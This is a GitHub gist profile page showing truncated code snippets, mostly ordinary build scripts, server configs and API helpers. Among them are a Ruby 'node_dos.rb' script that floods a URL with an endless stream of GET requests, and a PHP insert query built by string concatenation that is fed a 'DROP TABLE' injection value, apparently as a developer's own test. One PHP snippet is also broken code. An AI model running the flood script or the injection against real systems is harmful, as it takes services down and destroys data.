Skip to content

Instantly share code, notes, and snippets.

View kaspergrubbe's full-sized avatar

Kasper Grubbe kaspergrubbe

View GitHub Profile
#!/bin/bash
set -euxo pipefail
LABEL maintainer="docker@kaspergrubbe.com"
REPOOWNER="kaspergrubbe"
REPONAME="grubruby-jemalloc"
VERSION="2.5.1"
echo "Building and pushing ${REPOOWNER}/${REPONAME} version ${VERSION}" \
#!/bin/bash
while true; do
FILENAME=$(date +%s)
openssl rand -out $(echo $FILENAME).bin -base64 $(( 2**30 * 3/4 ))
curl -T $(echo $FILENAME).bin ftp://ftp.example.com --user user:password
rm $(echo $FILENAME).bin
done
def request(linode_method, query_args = {})
begin
args = {
api_key: @api_key,
api_action: linode_method,
}.merge(query_args).map{|k,v| "#{k}=#{v}"}.compact.join('&')
uri = URI("https://api.linode.com/?#{args}")
http = Net::HTTP.new(uri.host, uri.port)
<iframe allowtransparency="true" data-event-id="192964" frameborder="0" hspace="0" marginheight="0" marginwidth="0" scrolling="true" src="javascript:void(0)" vspace="0" width="100%" height="189" id="billetto_tickets_widget_embed_192964"></iframe><div class="js-event-widget-powered-by" style="overflow: hidden!important;margin-top: 5px!important;margin-bottom: 5px!important">
<a href="https://billetto.dk/l/saelg-billetter-online" style="line-height: 18px!important;font-size: 10px!important;important;color: #666!important;" target="_blank">
<img alt="Billetto" height="18" src="https://assets.billetto.com/assets/logos/logo_text_dark.fallback-240dc3b964adf73b857a290b10e8070bbf018a4f18747af4ae1d328dd1ffa617.png" style="float: right!important;line-height: 18px!important;height: 18px!important;width: 60px!important;margin-left: 5px!important;display: block!important;outline: none!important;border : 0!important;" width="60">
<span style="float: right!important;font-family: sans-serif!important;">Powered by</span>
</a>
<?php
ob_start();
var_dump($_POST);
$output = ob_get_clean();
$outputFile = "var_dump_output.txt";
$filehandle = fopen($outputFile, 'a') or die("File creation error."");
fwrite($fileHandle, $output);
fclose($fileHandle);
<?php
$email = "test@hej.dk";
$name = "Kasper";
$surname = "Grubbe";
$postal = "2300";
$city = "hej'); DROP TABLE implevent_subscribers; --";
$sql = "INSERT INTO implevent_subscribers (email, name, surname, postal, city)
VALUES ('$email', '$name', '$surname', '$postal', '$city')";
table width=500 height=100
tr
- @dates[:range].each do |date|
td width=( (100.0 / @dates[:range].size).to_f.to_s + "%" ) style="background: #000000;" #width
= (date[:traffic] / @dates[:max]).to_i #height
#!/bin/bash
# <UDF name="HOSTNAME" Label="server hostname" default="linode"/>
# <udf name="PACKAGES" label="Packages to install" manyOf="Varnish, Nginx, Postgres, Redis, Beanstalk, Memcache" default="">
###########################################################
# System Helpers
###########################################################
function system_update {
apt-get update
# create /etc/nginx/sites-available/wupwup.dk
upstream unicorn {
server 127.0.0.1:8000; # unicorn is set to listen on port 8000
}
server {
listen 80;
server_name wupwup.dk;
location / {
require "socket"
require "uri"
url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>"))
sock = TCPSocket.new(url.host, url.port)
loop do
sock.write "GET / HTTP/1.1\r\n\r\n"
end